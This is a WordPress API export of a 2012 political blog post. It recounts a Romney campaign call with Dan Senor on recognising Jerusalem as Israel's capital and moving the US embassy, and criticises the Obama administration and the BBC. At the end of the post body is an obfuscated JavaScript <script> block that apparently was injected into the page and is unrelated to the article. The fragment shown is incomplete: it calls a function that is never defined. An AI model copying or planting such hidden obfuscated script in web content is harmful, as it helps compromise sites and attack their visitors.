{"id":2047,"date":"2012-08-02T23:39:59","date_gmt":"2012-08-03T06:39:59","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=2047"},"modified":"2012-08-02T23:39:59","modified_gmt":"2012-08-03T06:39:59","slug":"capitals-and-embassies","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=2047","title":{"rendered":"Capitals and Embassies"},"content":{"rendered":"

This evening, the Romney campaign hosted a conference call for Jewish supporters, with the featured speaker being Dan Senor, author of “Startup Nation,” about Israel’s economy. \u00a0Senor accompanied Gov. Romney on his recent foreign trip, and spoke about some of the highlights.<\/p>\n

During the Q&A, I asked him specifically about his recognizing Jerusalem as Israel’s capital, and moving the embassy there from Tel Aviv. \u00a0A 1995 law provides for that, but also allows the President to waive that action for 6 months. \u00a0Presidents Clinton, George W. Bush, and Obama have all repeatedly put off moving the embassy to Jerusalem. \u00a0President Obama recently took this equivocation to new heights, when his spokesman refused to identify Israel’s capital:<\/p>\n

<\/iframe><\/p>\nThe followed the BBC’s failure to identify any<\/em> city as Israel’s capital on its Olympics site, while readily identifying Jerusalem as the capital of the as-yet non-existent country of Palestine. While the Obama administration is hardly responsible for the BBC, its failure to support Israel generally – beyond the security cooperation – no doubt contributes to an atmosphere where the Beeb can perpetrate such insults.<\/p>\nWhile I don’t think anyone can reasonably question Romney’s affection for and support for Israel, Obama’s supporters have taken to pointing out that President Bush, while also identifying Israel’s capital as Jerusalem, repeated waived moving the embassy.<\/p>\nSenor, I think, aptly separated the two issues. \u00a0Moving the embassy isn’t necessary to recognizing a country’s capital. \u00a0Likewise, it should be a no-brainer to recognize that Israel’s national governmental institutions reside in a part of Jerusalem whose position as a part of Israel has never seriously been questioned. \u00a0Doing that in no way pre-judges the final status negotiations, which may take place sometime in our lifetimes.<\/p>\nIn other words, doing so should have no immediate practical implications vis-a-vis the Palestinians, except insofar as they and other Arabs choose to be rejectionist of even minimal Israeli demands. \u00a0It would, however, be of significant symbolic importance, making it clear that the US supports Israel as a normal country within the nation state system.<\/p>\nThat the Obama administration is incapable of even that tells you all you need to know about the difference between Romney and Obama on this matter. \n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"This evening, the Romney campaign hosted a conference call for Jewish supporters, with the featured speaker being Dan Senor, author of “Startup Nation,” about Israel’s economy. \u00a0Senor accompanied Gov. Romney on his recent foreign trip, and spoke about some of the highlights. During the Q&A, I asked him specifically about his recognizing Jerusalem as Israel’s […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[116,13,23,51],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2047"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2047"}],"version-history":[{"count":2,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2047\/revisions"}],"predecessor-version":[{"id":2049,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2047\/revisions\/2049"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2047"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}